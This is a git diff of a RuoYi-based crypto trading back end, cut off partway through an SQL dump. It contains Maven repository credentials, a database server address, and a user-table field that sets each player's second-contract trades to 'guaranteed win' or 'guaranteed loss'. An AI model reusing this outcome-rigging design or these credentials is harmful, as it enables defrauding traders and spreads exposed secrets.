b/ruoyi-system/src/main/resources/mapper/system/SysUserRoleMapper.xml @@ -0,0 +1,44 @@ + + + + + + + + + + + delete from sys_user_role where user_id=#{userId} + + + + + + delete from sys_user_role where user_id in + + #{userId} + + + + + insert into sys_user_role(user_id, role_id) values + + (#{item.userId},#{item.roleId}) + + + + + delete from sys_user_role where user_id=#{userId} and role_id=#{roleId} + + + + delete from sys_user_role where role_id=#{roleId} and user_id in + + #{userId} + + + \ No newline at end of file diff --git a/ruoyi-system/src/main/resources/templates/bindCodeEmail.ftl b/ruoyi-system/src/main/resources/templates/bindCodeEmail.ftl new file mode 100644 index 0000000..24eca4f --- /dev/null +++ b/ruoyi-system/src/main/resources/templates/bindCodeEmail.ftl @@ -0,0 +1,8 @@ + + +
+
Your verification code is ${code}, it will be valid within ten minutes, if you are not operating it, please ignore it.
+<#--
дтверждения ${code}, он действителен в течение 10 мин. Если вы его не запрашивали, проигнорируйте это сообщение
--> +
+ + \ No newline at end of file diff --git a/ruoyi.iml b/ruoyi.iml new file mode 100644 index 0000000..f409c0e --- /dev/null +++ b/ruoyi.iml @@ -0,0 +1,12 @@ + + + + + + + + + + + + \ No newline at end of file diff --git a/setting/settings.xml b/setting/settings.xml new file mode 100644 index 0000000..5a2537f --- /dev/null +++ b/setting/settings.xml @@ -0,0 +1,83 @@ + + +D:\repository + +org.mortbay.jetty + + + + + + echo2-group + admin + admin123 + + + Snapshots + ali + ali + + + + + + echo2-group + * + https://nexus.ok6.cc/repository/echo2-group/ + + + + nexus-public-snapshots + public-snapshots + http://maven.aliyun.com/nexus/content/repositories/snapshots/ + + + + + development + + + central + http://central + truealways + truealways + + + + + central + http://central + truealways + truealways + + + + + + public-snapshots + + + public-snapshots + http://public-snapshots + false + truealways + + + + + public-snapshots + http://public-snapshots + false + truealways + + + + + + development + public-snapshots + + \ No newline at end of file diff --git a/sql/echo2.sql b/sql/echo2.sql new file mode 100644 index 0000000..61a95fc --- /dev/null +++ b/sql/echo2.sql @@ -0,0 +1,10534 @@ +/* + Navicat Premium Data Transfer + + Source Server : 121.37.225.139 echo + Source Server Type : MySQL + Source Server Version : 80035 + Source Host : 121.37.225.139:8999 + Source Schema : echo2 + + Target Server Type : MySQL + Target Server Version : 80035 + File Encoding : 65001 + + Date: 22/02/2024 01:04:53 +*/ + +SET NAMES utf8mb4; +SET FOREIGN_KEY_CHECKS = 0; + +-- ---------------------------- +-- Table structure for gen_table +-- ---------------------------- +DROP TABLE IF EXISTS `gen_table`; +CREATE TABLE `gen_table` ( + `table_id` bigint(0) NOT NULL AUTO_INCREMENT COMMENT '编号', + `table_name` varchar(200) CHARACTER SET utf8mb4 COLLATE utf8mb4_0900_ai_ci NULL DEFAULT '' COMMENT '表名称', + `table_comment` varchar(500) CHARACTER SET utf8mb4 COLLATE utf8mb4_0900_ai_ci NULL DEFAULT '' COMMENT '表描述', + `sub_table_name` varchar(64) CHARACTER SET utf8mb4 COLLATE utf8mb4_0900_ai_ci NULL DEFAULT NULL COMMENT '关联子表的表名', + `sub_table_fk_name` varchar(64) CHARACTER SET utf8mb4 COLLATE utf8mb4_0900_ai_ci NULL DEFAULT NULL COMMENT '子表关联的外键名', + `class_name` varchar(100) CHARACTER SET utf8mb4 COLLATE utf8mb4_0900_ai_ci NULL DEFAULT '' COMMENT '实体类名称', + `tpl_category` varchar(200) CHARACTER SET utf8mb4 COLLATE utf8mb4_0900_ai_ci NULL DEFAULT 'crud' COMMENT '使用的模板(crud单表操作 tree树表操作)', + `package_name` varchar(100) CHARACTER SET utf8mb4 COLLATE utf8mb4_0900_ai_ci NULL DEFAULT NULL COMMENT '生成包路径', + `module_name` varchar(30) CHARACTER SET utf8mb4 COLLATE utf8mb4_0900_ai_ci NULL DEFAULT NULL COMMENT '生成模块名', + `business_name` varchar(30) CHARACTER SET utf8mb4 COLLATE utf8mb4_0900_ai_ci NULL DEFAULT NULL COMMENT '生成业务名', + `function_name` varchar(50) CHARACTER SET utf8mb4 COLLATE utf8mb4_0900_ai_ci NULL DEFAULT NULL COMMENT '生成功能名', + `function_author` varchar(50) CHARACTER SET utf8mb4 COLLATE utf8mb4_0900_ai_ci NULL DEFAULT NULL COMMENT '生成功能作者', + `gen_type` char(1) CHARACTER SET utf8mb4 COLLATE utf8mb4_0900_ai_ci NULL DEFAULT '0' COMMENT '生成代码方式(0zip压缩包 1自定义路径)', + `gen_path` varchar(200) CHARACTER SET utf8mb4 COLLATE utf8mb4_0900_ai_ci NULL DEFAULT '/' COMMENT '生成路径(不填默认项目路径)', + `options` varchar(1000) CHARACTER SET utf8mb4 COLLATE utf8mb4_0900_ai_ci NULL DEFAULT NULL COMMENT '其它生成选项', + `create_by` varchar(64) CHARACTER SET utf8mb4 COLLATE utf8mb4_0900_ai_ci NULL DEFAULT '' COMMENT '创建者', + `create_time` datetime(0) NULL DEFAULT NULL COMMENT '创建时间', + `update_by` varchar(64) CHARACTER SET utf8mb4 COLLATE utf8mb4_0900_ai_ci NULL DEFAULT '' COMMENT '更新者', + `update_time` datetime(0) NULL DEFAULT NULL COMMENT '更新时间', + `remark` varchar(500) CHARACTER SET utf8mb4 COLLATE utf8mb4_0900_ai_ci NULL DEFAULT NULL COMMENT '备注', + PRIMARY KEY (`table_id`) USING BTREE +) ENGINE = InnoDB AUTO_INCREMENT = 39 CHARACTER SET = utf8mb4 COLLATE = utf8mb4_0900_ai_ci COMMENT = '代码生成业务表' ROW_FORMAT = Dynamic; + +-- ---------------------------- +-- Records of gen_table +-- ---------------------------- +INSERT INTO `gen_table` VALUES (4, 't_app_user', '玩家用户表', NULL, NULL, 'TAppUser', 'crud', 'com.ruoyi.system', 'system', 'user', '玩家用户', 'ruoyi', '0', '/', NULL, 'admin', '2023-06-30 13:22:39', '', NULL, NULL); +INSERT INTO `gen_table` VALUES (5, 't_appuser_login_log', '系统访问记录', NULL, NULL, 'TAppuserLoginLog', 'crud', 'com.ruoyi.system', 'system', 'log', '系统访问记录', 'ruoyi', '0', '/', '{}', 'admin', '2023-06-30 15:58:46', '', '2023-06-30 15:59:32', NULL); +INSERT INTO `gen_table` VALUES (6, 't_app_wallet_record', '用户信息表', NULL, NULL, 'TAppWalletRecord', 'crud', 'com.ruoyi.system', 'system', 'record', '用户信息', 'ruoyi', '0', '/', NULL, 'admin', '2023-07-04 15:05:42', '', NULL, NULL); +INSERT INTO `gen_table` VALUES (7, 't_withdraw', '用户提现表', NULL, NULL, 'TWithdraw', 'crud', 'com.ruoyi.system', 'system', 'withdraw', '用户提现', 'ruoyi', '0', '/', NULL, 'admin', '2023-07-04 15:20:17', '', NULL, NULL); +INSERT INTO `gen_table` VALUES (8, 't_app_user_detail', '用户详细信息', NULL, NULL, 'TAppUserDetail', 'crud', 'com.ruoyi.system', 'bussiness', 'detail', '用户详细信息', 'ruoyi', '0', '/', '{}', 'admin', '2023-07-04 16:36:46', '', '2023-07-26 15:46:43', NULL); +INSERT INTO `gen_table` VALUES (9, 't_second_coin_config', '秒合约币种配置', NULL, NULL, 'TSecondCoinConfig', 'crud', 'com.ruoyi.system', 'system', 'config', '秒合约币种配置', 'ruoyi', '0', '/', NULL, 'admin', '2023-07-11 10:07:30', '', NULL, NULL); +INSERT INTO `gen_table` VALUES (10, 't_second_period_config', '秒合约币种周期配置', NULL, NULL, 'TSecondPeriodConfig', 'crud', 'com.ruoyi.system', 'system', 'config', '秒合约币种周期配置', 'ruoyi', '0', '/', NULL, 'admin', '2023-07-11 10:07:30', '', NULL, NULL); +INSERT INTO `gen_table` VALUES (11, 't_symbol_manage', '币种管理', NULL, NULL, 'TSymbolManage', 'crud', 'com.ruoyi.system', 'bussiness', 'manage', '币种管理', 'ruoyi', '0', '/', '{}', 'admin', '2023-07-12 10:53:02', '', '2023-07-12 10:53:48', NULL); +INSERT INTO `gen_table` VALUES (12, 't_app_recharge', '用户充值表', NULL, NULL, 'TAppRecharge', 'crud', 'com.ruoyi.system', 'system', 'recharge', '用户充值', 'ruoyi', '0', '/', NULL, 'admin', '2023-07-12 14:47:27', '', NULL, NULL); +INSERT INTO `gen_table` VALUES (13, 't_user_symbol_address', '用户币种充值地址', NULL, NULL, 'TUserSymbolAddress', 'crud', 'com.ruoyi.bussiness', 'bussiness', 'symbol/address', '用户币种充值地址', 'ruoyi', '0', '/', '{}', 'admin', '2023-07-12 15:27:02', '', '2023-07-12 15:28:07', NULL); +INSERT INTO `gen_table` VALUES (14, 't_second_contract_order', '秒合约订单', NULL, NULL, 'TSecondContractOrder', 'crud', 'com.ruoyi.bussiness', 'bussiness', 'order', '秒合约订单', 'ruoyi', '0', '/', '{}', 'admin', '2023-07-13 11:24:11', '', '2023-07-13 11:32:00', NULL); +INSERT INTO `gen_table` VALUES (15, 't_load_product', '借贷产品表', NULL, NULL, 'TLoadProduct', 'crud', 'com.ruoyi.bussiness', 'bussiness', 'product', '借贷产品', 'ruoyi', '0', '/', '{}', 'admin', '2023-07-13 15:52:39', '', '2023-07-14 11:19:03', NULL); +INSERT INTO `gen_table` VALUES (16, 't_load_order', '贷款订单', NULL, NULL, 'TLoadOrder', 'crud', 'com.ruoyi.bussiness', 'bussiness', 'loadOrder', '贷款订单', 'ruoyi', '0', '/', '{}', 'admin', '2023-07-14 14:39:12', '', '2023-07-17 14:10:36', NULL); +INSERT INTO `gen_table` VALUES (17, 't_mine_financial', '', NULL, NULL, 'TMineFinancial', 'crud', 'com.ruoyi.system', 'system', 'financial', NULL, 'ruoyi', '0', '/', NULL, 'admin', '2023-07-17 16:06:44', '', NULL, NULL); +INSERT INTO `gen_table` VALUES (18, 't_mine_order', '', NULL, NULL, 'TMineOrder', 'crud', 'com.ruoyi.system', 'system', 'order', NULL, 'ruoyi', '0', '/', NULL, 'admin', '2023-07-17 16:06:44', '', NULL, NULL); +INSERT INTO `gen_table` VALUES (19, 't_mine_order_day', '', NULL, NULL, 'TMineOrderDay', 'crud', 'com.ruoyi.system', 'system', 'day', NULL, 'ruoyi', '0', '/', NULL, 'admin', '2023-07-17 16:06:45', '', NULL, NULL); +INSERT INTO `gen_table` VALUES (20, 't_mine_user', '', NULL, NULL, 'TMineUser', 'crud', 'com.ruoyi.system', 'system', 'user', NULL, 'ruoyi', '0', '/', NULL, 'admin', '2023-07-17 16:06:45', '', NULL, NULL); +INSERT INTO `gen_table` VALUES (26, 't_app_mail', '1v1站内信', NULL, NULL, 'TAppMail', 'crud', 'com.ruoyi.bussiness', 'bussiness', 'mail', '1v1站内信', 'ruoyi', '0', '/', NULL, 'admin', '2023-07-18 14:50:51', '', NULL, NULL); +INSERT INTO `gen_table` VALUES (27, 't_option_rules', '前台文本配置', NULL, NULL, 'TOptionRules', 'crud', 'com.ruoyi.bussiness', 'bussiness', 'rules', '前台文本配置', 'ruoyi', '0', '/', '{}', 'admin', '2023-07-19 14:13:24', '', '2023-07-19 14:13:33', NULL); +INSERT INTO `gen_table` VALUES (29, 't_home_setter', '规则说明表', NULL, NULL, 'THomeSetter', 'crud', 'com.ruoyi.bussiness', 'bussiness', 'setter', '规则说明', 'ruoyi', '0', '/', NULL, 'admin', '2023-07-19 16:05:16', '', NULL, NULL); +INSERT INTO `gen_table` VALUES (31, 't_notice', '通知公告表', NULL, NULL, 'TNotice', 'crud', 'com.ruoyi.bussiness', 'bussiness', 'notice', '通知公告', 'ruoyi', '0', '/', NULL, 'admin', '2023-07-20 17:05:20', '', NULL, NULL); +INSERT INTO `gen_table` VALUES (34, 't_currency_order', '币币交易订单表', NULL, NULL, 'TCurrencyOrder', 'crud', 'com.ruoyi.bussiness', 'bussiness', 'order', '币币交易订单', 'ruoyi', '0', '/', '{}', 'admin', '2023-07-25 11:09:49', '', '2023-07-28 15:31:45', NULL); +INSERT INTO `gen_table` VALUES (35, 't_currency_symbol', '币币交易币种配置表', NULL, NULL, 'TCurrencySymbol', 'crud', 'com.ruoyi.bussiness', 'bussiness', 'currency', '币币交易币种配置', 'ruoyi', '0', '/', '{}', 'admin', '2023-07-25 11:09:49', '', '2023-07-27 17:23:03', NULL); +INSERT INTO `gen_table` VALUES (36, 't_exchange_coin_record', '币种兑换记录表', NULL, NULL, 'TExchangeCoinRecord', 'crud', 'com.ruoyi.bussiness', 'bussiness', 'record', '币种兑换记录', 'ruoyi', '0', '/', NULL, 'admin', '2023-07-25 13:57:19', '', NULL, NULL); +INSERT INTO `gen_table` VALUES (37, 't_ming_order', '质押挖矿订单', NULL, NULL, 'TMingOrder', 'crud', 'com.ruoyi.bussiness', 'bussiness', 'order', 'ming', 'ruoyi', '0', '/', '{}', 'admin', '2023-08-18 15:55:53', '', '2023-08-18 15:56:43', NULL); +INSERT INTO `gen_table` VALUES (38, 't_ming_product', '挖矿产品', NULL, NULL, 'TMingProduct', 'crud', 'com.ruoyi.bussiness', 'bussiness', 'ming', 'mingProduct', 'ruoyi', '0', '/', '{}', 'admin', '2023-08-18 15:55:53', '', '2023-08-18 15:57:34', NULL); + +-- ---------------------------- +-- Table structure for gen_table_column +-- ---------------------------- +DROP TABLE IF EXISTS `gen_table_column`; +CREATE TABLE `gen_table_column` ( + `column_id` bigint(0) NOT NULL AUTO_INCREMENT COMMENT '编号', + `table_id` varchar(64) CHARACTER SET utf8mb4 COLLATE utf8mb4_0900_ai_ci NULL DEFAULT NULL COMMENT '归属表编号', + `column_name` varchar(200) CHARACTER SET utf8mb4 COLLATE utf8mb4_0900_ai_ci NULL DEFAULT NULL COMMENT '列名称', + `column_comment` varchar(500) CHARACTER SET utf8mb4 COLLATE utf8mb4_0900_ai_ci NULL DEFAULT NULL COMMENT '列描述', + `column_type` varchar(100) CHARACTER SET utf8mb4 COLLATE utf8mb4_0900_ai_ci NULL DEFAULT NULL COMMENT '列类型', + `java_type` varchar(500) CHARACTER SET utf8mb4 COLLATE utf8mb4_0900_ai_ci NULL DEFAULT NULL COMMENT 'JAVA类型', + `java_field` varchar(200) CHARACTER SET utf8mb4 COLLATE utf8mb4_0900_ai_ci NULL DEFAULT NULL COMMENT 'JAVA字段名', + `is_pk` char(1) CHARACTER SET utf8mb4 COLLATE utf8mb4_0900_ai_ci NULL DEFAULT NULL COMMENT '是否主键(1是)', + `is_increment` char(1) CHARACTER SET utf8mb4 COLLATE utf8mb4_0900_ai_ci NULL DEFAULT NULL COMMENT '是否自增(1是)', + `is_required` char(1) CHARACTER SET utf8mb4 COLLATE utf8mb4_0900_ai_ci NULL DEFAULT NULL COMMENT '是否必填(1是)', + `is_insert` char(1) CHARACTER SET utf8mb4 COLLATE utf8mb4_0900_ai_ci NULL DEFAULT NULL COMMENT '是否为插入字段(1是)', + `is_edit` char(1) CHARACTER SET utf8mb4 COLLATE utf8mb4_0900_ai_ci NULL DEFAULT NULL COMMENT '是否编辑字段(1是)', + `is_list` char(1) CHARACTER SET utf8mb4 COLLATE utf8mb4_0900_ai_ci NULL DEFAULT NULL COMMENT '是否列表字段(1是)', + `is_query` char(1) CHARACTER SET utf8mb4 COLLATE utf8mb4_0900_ai_ci NULL DEFAULT NULL COMMENT '是否查询字段(1是)', + `query_type` varchar(200) CHARACTER SET utf8mb4 COLLATE utf8mb4_0900_ai_ci NULL DEFAULT 'EQ' COMMENT '查询方式(等于、不等于、大于、小于、范围)', + `html_type` varchar(200) CHARACTER SET utf8mb4 COLLATE utf8mb4_0900_ai_ci NULL DEFAULT NULL COMMENT '显示类型(文本框、文本域、下拉框、复选框、单选框、日期控件)', + `dict_type` varchar(200) CHARACTER SET utf8mb4 COLLATE utf8mb4_0900_ai_ci NULL DEFAULT '' COMMENT '字典类型', + `sort` int(0) NULL DEFAULT NULL COMMENT '排序', + `create_by` varchar(64) CHARACTER SET utf8mb4 COLLATE utf8mb4_0900_ai_ci NULL DEFAULT '' COMMENT '创建者', + `create_time` datetime(0) NULL DEFAULT NULL COMMENT '创建时间', + `update_by` varchar(64) CHARACTER SET utf8mb4 COLLATE utf8mb4_0900_ai_ci NULL DEFAULT '' COMMENT '更新者', + `update_time` datetime(0) NULL DEFAULT NULL COMMENT '更新时间', + PRIMARY KEY (`column_id`) USING BTREE +) ENGINE = InnoDB AUTO_INCREMENT = 576 CHARACTER SET = utf8mb4 COLLATE = utf8mb4_0900_ai_ci COMMENT = '代码生成业务表字段' ROW_FORMAT = Dynamic; + +-- ---------------------------- +-- Records of gen_table_column +-- ---------------------------- +INSERT INTO `gen_table_column` VALUES (15, '4', 'user_id', NULL, 'bigint', 'Long', 'userId', '1', '1', NULL, '1', NULL, NULL, NULL, 'EQ', 'input', '', 1, 'admin', '2023-06-30 13:22:39', '', NULL); +INSERT INTO `gen_table_column` VALUES (16, '4', 'login_name', '姓名', 'varchar(50)', 'String', 'loginName', '0', '0', NULL, '1', '1', '1', '1', 'LIKE', 'input', '', 2, 'admin', '2023-06-30 13:22:39', '', NULL); +INSERT INTO `gen_table_column` VALUES (17, '4', 'login_password', '登陆密码', 'varchar(50)', 'String', 'loginPassword', '0', '0', NULL, '1', '1', '1', '1', 'EQ', 'input', '', 3, 'admin', '2023-06-30 13:22:39', '', NULL); +INSERT INTO `gen_table_column` VALUES (18, '4', 'phone', '手机号', 'varchar(255)', 'String', 'phone', '0', '0', NULL, '1', '1', '1', '1', 'EQ', 'input', '', 4, 'admin', '2023-06-30 13:22:39', '', NULL); +INSERT INTO `gen_table_column` VALUES (19, '4', 'is_test', '0-正常 1-测试', 'int', 'Long', 'isTest', '0', '0', NULL, '1', '1', '1', '1', 'EQ', 'input', '', 5, 'admin', '2023-06-30 13:22:39', '', NULL); +INSERT INTO `gen_table_column` VALUES (20, '4', 'salt', '盐', 'varchar(1024)', 'String', 'salt', '0', '0', NULL, '1', '1', '1', '1', 'EQ', 'textarea', '', 6, 'admin', '2023-06-30 13:22:39', '', NULL); +INSERT INTO `gen_table_column` VALUES (21, '4', 'address', '地址', 'varchar(256)', 'String', 'address', '0', '0', NULL, '1', '1', '1', '1', 'EQ', 'input', '', 7, 'admin', '2023-06-30 13:22:39', '', NULL); +INSERT INTO `gen_table_column` VALUES (22, '4', 'wallet_type', '地址类型 ETH TRC', 'varchar(15)', 'String', 'walletType', '0', '0', NULL, '1', '1', '1', '1', 'EQ', 'select', '', 8, 'admin', '2023-06-30 13:22:39', '', NULL); +INSERT INTO `gen_table_column` VALUES (23, '4', 'status', '0正常1冻结', 'int', 'Long', 'status', '0', '0', '1', '1', '1', '1', '1', 'EQ', 'radio', '', 9, 'admin', '2023-06-30 13:22:39', '', NULL); +INSERT INTO `gen_table_column` VALUES (24, '4', 'totle_amont', '秒合约打码量', 'decimal(20,6)', 'BigDecimal', 'totleAmont', '0', '0', NULL, '1', '1', '1', '1', 'EQ', 'input', '', 10, 'admin', '2023-06-30 13:22:39', '', NULL); +INSERT INTO `gen_table_column` VALUES (25, '4', 'buff', '0正常 1包赢 2包输', 'int', 'Long', 'buff', '0', '0', NULL, '1', '1', '1', '1', 'EQ', 'input', '', 11, 'admin', '2023-06-30 13:22:39', '', NULL); +INSERT INTO `gen_table_column` VALUES (26, '4', 'tree', '代理树', 'varchar(1024)', 'String', 'tree', '0', '0', NULL, '1', '1', '1', '1', 'EQ', 'textarea', '', 12, 'admin', '2023-06-30 13:22:39', '', NULL); +INSERT INTO `gen_table_column` VALUES (27, '4', 'father_addr', '代理地址', 'varchar(256)', 'String', 'fatherAddr', '0', '0', NULL, '1', '1', '1', '1', 'EQ', 'input', '', 13, 'admin', '2023-06-30 13:22:39', '', NULL); +INSERT INTO `gen_table_column` VALUES (28, '4', 'father_id', '代理id', 'bigint', 'Long', 'fatherId', '0', '0', NULL, '1', '1', '1', '1', 'EQ', 'input', '', 14, 'admin', '2023-06-30 13:22:39', '', NULL); +INSERT INTO `gen_table_column` VALUES (29, '4', 'active_code', '邀请码', 'varchar(256)', 'String', 'activeCode', '0', '0', '1', '1', '1', '1', '1', 'EQ', 'input', '', 15, 'admin', '2023-06-30 13:22:39', '', NULL); +INSERT INTO `gen_table_column` VALUES (30, '4', 'register_ip', '注册ip', 'varchar(255)', 'String', 'registerIp', '0', '0', NULL, '1', '1', '1', '1', 'EQ', 'input', '', 16, 'admin', '2023-06-30 13:22:39', '', NULL); +INSERT INTO `gen_table_column` VALUES (31, '4', 'host', '注册域名', 'varchar(255)', 'String', 'host', '0', '0', NULL, '1', '1', '1', '1', 'EQ', 'input', '', 17, 'admin', '2023-06-30 13:22:39', '', NULL); +INSERT INTO `gen_table_column` VALUES (32, '4', 'system_user_id', '后台代理id', 'bigint', 'Long', 'systemUserId', '0', '0', NULL, '1', '1', '1', '1', 'EQ', 'input', '', 18, 'admin', '2023-06-30 13:22:39', '', NULL); +INSERT INTO `gen_table_column` VALUES (33, '4', 'email', '邮箱', 'varchar(255)', 'String', 'email', '0', '0', NULL, '1', '1', '1', '1', 'EQ', 'input', '', 19, 'admin', '2023-06-30 13:22:39', '', NULL); +INSERT INTO `gen_table_column` VALUES (34, '4', 'level', 'vip等级 ', 'int', 'Long', 'level', '0', '0', NULL, '1', '1', '1', '1', 'EQ', 'input', '', 20, 'admin', '2023-06-30 13:22:39', '', NULL); +INSERT INTO `gen_table_column` VALUES (35, '4', 'create_by', '创建人', 'varchar(64)', 'String', 'createBy', '0', '0', NULL, '1', NULL, NULL, NULL, 'EQ', 'input', '', 21, 'admin', '2023-06-30 13:22:39', '', NULL); +INSERT INTO `gen_table_column` VALUES (36, '4', 'create_time', '创建时间', 'datetime', 'Date', 'createTime', '0', '0', NULL, '1', NULL, NULL, NULL, 'EQ', 'datetime', '', 22, 'admin', '2023-06-30 13:22:39', '', NULL); +INSERT INTO `gen_table_column` VALUES (37, '4', 'update_by', '更新人', 'varchar(64)', 'String', 'updateBy', '0', '0', NULL, '1', '1', NULL, NULL, 'EQ', 'input', '', 23, 'admin', '2023-06-30 13:22:39', '', NULL); +INSERT INTO `gen_table_column` VALUES (38, '4', 'update_time', '更新时间', 'datetime', 'Date', 'updateTime', '0', '0', NULL, '1', '1', NULL, NULL, 'EQ', 'datetime', '', 24, 'admin', '2023-06-30 13:22:39', '', NULL); +INSERT INTO `gen_table_column` VALUES (39, '4', 'remark', '备注', 'varchar(500)', 'String', 'remark', '0', '0', NULL, '1', '1', '1', NULL, 'EQ', 'textarea', '', 25, 'admin', '2023-06-30 13:22:39', '', NULL); +INSERT INTO `gen_table_column` VALUES (40, '4', 'search_value', NULL, 'varchar(1024)', 'String', 'searchValue', '0', '0', NULL, '1', '1', '1', '1', 'EQ', 'textarea', '', 26, 'admin', '2023-06-30 13:22:39', '', NULL); +INSERT INTO `gen_table_column` VALUES (41, '5', 'id', '主键ID', 'bigint', 'Long', 'id', '1', '1', NULL, '1', NULL, NULL, NULL, 'EQ', 'input', '', 1, 'admin', '2023-06-30 15:58:46', '', '2023-06-30 15:59:37'); +INSERT INTO `gen_table_column` VALUES (42, '5', 'user_id', '登录用户ID', 'bigint', 'Long', 'userId', '0', '0', '1', '1', '1', '1', '1', 'EQ', 'input', '', 2, 'admin', '2023-06-30 15:58:46', '', '2023-06-30 15:59:37'); +INSERT INTO `gen_table_column` VALUES (43, '5', 'username', '登录用户名', 'varchar(128)', 'String', 'username', '0', '0', NULL, '1', '1', '1', '1', 'LIKE', 'input', '', 3, 'admin', '2023-06-30 15:58:46', '', '2023-06-30 15:59:37'); +INSERT INTO `gen_table_column` VALUES (44, '5', 'ipaddr', '访问IP', 'varchar(500)', 'String', 'ipaddr', '0', '0', NULL, '1', '1', '1', '1', 'EQ', 'textarea', '', 4, 'admin', '2023-06-30 15:58:46', '', '2023-06-30 15:59:37'); +INSERT INTO `gen_table_column` VALUES (45, '5', 'login_location', '访问位置', 'varchar(255)', 'String', 'loginLocation', '0', '0', NULL, '1', '1', '1', '1', 'EQ', 'input', '', 5, 'admin', '2023-06-30 15:58:46', '', '2023-06-30 15:59:37'); +INSERT INTO `gen_table_column` VALUES (46, '5', 'browser', '浏览器', 'varchar(50)', 'String', 'browser', '0', '0', NULL, '1', '1', '1', '1', 'EQ', 'input', '', 6, 'admin', '2023-06-30 15:58:46', '', '2023-06-30 15:59:37'); +INSERT INTO `gen_table_column` VALUES (47, '5', 'os', '系统OS', 'varchar(50)', 'String', 'os', '0', '0', NULL, '1', '1', '1', '1', 'EQ', 'input', '', 7, 'admin', '2023-06-30 15:58:46', '', '2023-06-30 15:59:37'); +INSERT INTO `gen_table_column` VALUES (48, '5', 'status', '登录状态(0成功 1失败)', 'char(1)', 'String', 'status', '0', '0', NULL, '1', '1', '1', '1', 'EQ', 'radio', '', 8, 'admin', '2023-06-30 15:58:46', '', '2023-06-30 15:59:37'); +INSERT INTO `gen_table_column` VALUES (49, '5', 'msg', '', 'varchar(255)', 'String', 'msg', '0', '0', NULL, '1', '1', '1', '1', 'EQ', 'input', '', 9, 'admin', '2023-06-30 15:58:46', '', '2023-06-30 15:59:37'); +INSERT INTO `gen_table_column` VALUES (50, '5', 'login_time', '访问时间', 'datetime', 'Date', 'loginTime', '0', '0', NULL, '1', '1', '1', '1', 'EQ', 'datetime', '', 10, 'admin', '2023-06-30 15:58:46', '', '2023-06-30 15:59:37'); +INSERT INTO `gen_table_column` VALUES (51, '6', 'id', '卡ID', 'bigint', 'Long', 'id', '1', '1', NULL, '1', NULL, NULL, NULL, 'EQ', 'input', '', 1, 'admin', '2023-07-04 15:05:42', '', NULL); +INSERT INTO `gen_table_column` VALUES (52, '6', 'amount', '余额', 'decimal(30,6)', 'BigDecimal', 'amount', '0', '0', '1', '1', '1', '1', '1', 'EQ', 'input', '', 2, 'admin', '2023-07-04 15:05:42', '', NULL); +INSERT INTO `gen_table_column` VALUES (53, '6', 'create_by', NULL, 'varchar(64)', 'String', 'createBy', '0', '0', NULL, '1', NULL, NULL, NULL, 'EQ', 'input', '', 3, 'admin', '2023-07-04 15:05:42', '', NULL); +INSERT INTO `gen_table_column` VALUES (54, '6', 'create_time', '创建时间', 'datetime', 'Date', 'createTime', '0', '0', NULL, '1', NULL, NULL, NULL, 'EQ', 'datetime', '', 4, 'admin', '2023-07-04 15:05:42', '', NULL); +INSERT INTO `gen_table_column` VALUES (55, '6', 'update_by', NULL, 'varchar(64)', 'String', 'updateBy', '0', '0', NULL, '1', '1', NULL, NULL, 'EQ', 'input', '', 5, 'admin', '2023-07-04 15:05:42', '', NULL); +INSERT INTO `gen_table_column` VALUES (56, '6', 'update_time', '更新时间', 'datetime', 'Date', 'updateTime', '0', '0', NULL, '1', '1', NULL, NULL, 'EQ', 'datetime', '', 6, 'admin', '2023-07-04 15:05:42', '', NULL); +INSERT INTO `gen_table_column` VALUES (57, '6', 'remark', NULL, 'varchar(500)', 'String', 'remark', '0', '0', NULL, '1', '1', '1', NULL, 'EQ', 'textarea', '', 7, 'admin', '2023-07-04 15:05:42', '', NULL); +INSERT INTO `gen_table_column` VALUES (58, '6', 'user_id', '用户id', 'bigint', 'Long', 'userId', '0', '0', NULL, '1', '1', '1', '1', 'EQ', 'input', '', 8, 'admin', '2023-07-04 15:05:42', '', NULL); +INSERT INTO `gen_table_column` VALUES (59, '6', 'search_value', NULL, 'varchar(1024)', 'String', 'searchValue', '0', '0', NULL, '1', '1', '1', '1', 'EQ', 'textarea', '', 9, 'admin', '2023-07-04 15:05:42', '', NULL); +INSERT INTO `gen_table_column` VALUES (60, '6', 'before_amount', '前值', 'decimal(30,6)', 'BigDecimal', 'beforeAmount', '0', '0', NULL, '1', '1', '1', '1', 'EQ', 'input', '', 10, 'admin', '2023-07-04 15:05:42', '', NULL); +INSERT INTO `gen_table_column` VALUES (61, '6', 'after_amount', '后值', 'decimal(30,6)', 'BigDecimal', 'afterAmount', '0', '0', NULL, '1', '1', '1', '1', 'EQ', 'input', '', 11, 'admin', '2023-07-04 15:05:42', '', NULL); +INSERT INTO `gen_table_column` VALUES (62, '6', 'serial_id', NULL, 'varchar(20)', 'String', 'serialId', '0', '0', NULL, '1', '1', '1', '1', 'EQ', 'input', '', 12, 'admin', '2023-07-04 15:05:42', '', NULL); +INSERT INTO `gen_table_column` VALUES (63, '6', 'type', '余额', 'tinyint unsigned', 'String', 'type', '0', '0', '1', '1', '1', '1', '1', 'EQ', 'select', '', 13, 'admin', '2023-07-04 15:05:42', '', NULL); +INSERT INTO `gen_table_column` VALUES (64, '6', 'symbol', '币种', 'varchar(32)', 'String', 'symbol', '0', '0', NULL, '1', '1', '1', '1', 'EQ', 'input', '', 14, 'admin', '2023-07-04 15:05:42', '', NULL); +INSERT INTO `gen_table_column` VALUES (65, '7', 'id', '卡ID', 'int', 'Long', 'id', '1', '1', NULL, '1', NULL, NULL, NULL, 'EQ', 'input', '', 1, 'admin', '2023-07-04 15:20:17', '', NULL); +INSERT INTO `gen_table_column` VALUES (66, '7', 'create_by', NULL, 'varchar(64)', 'String', 'createBy', '0', '0', NULL, '1', NULL, NULL, NULL, 'EQ', 'input', '', 2, 'admin', '2023-07-04 15:20:17', '', NULL); +INSERT INTO `gen_table_column` VALUES (67, '7', 'create_time', '创建时间', 'datetime', 'Date', 'createTime', '0', '0', NULL, '1', NULL, NULL, NULL, 'EQ', 'datetime', '', 3, 'admin', '2023-07-04 15:20:17', '', NULL); +INSERT INTO `gen_table_column` VALUES (68, '7', 'update_by', NULL, 'varchar(64)', 'String', 'updateBy', '0', '0', NULL, '1', '1', NULL, NULL, 'EQ', 'input', '', 4, 'admin', '2023-07-04 15:20:17', '', NULL); +INSERT INTO `gen_table_column` VALUES (69, '7', 'update_time', '更新时间', 'datetime', 'Date', 'updateTime', '0', '0', NULL, '1', '1', NULL, NULL, 'EQ', 'datetime', '', 5, 'admin', '2023-07-04 15:20:17', '', NULL); +INSERT INTO `gen_table_column` VALUES (70, '7', 'remark', NULL, 'varchar(500)', 'String', 'remark', '0', '0', NULL, '1', '1', '1', NULL, 'EQ', 'textarea', '', 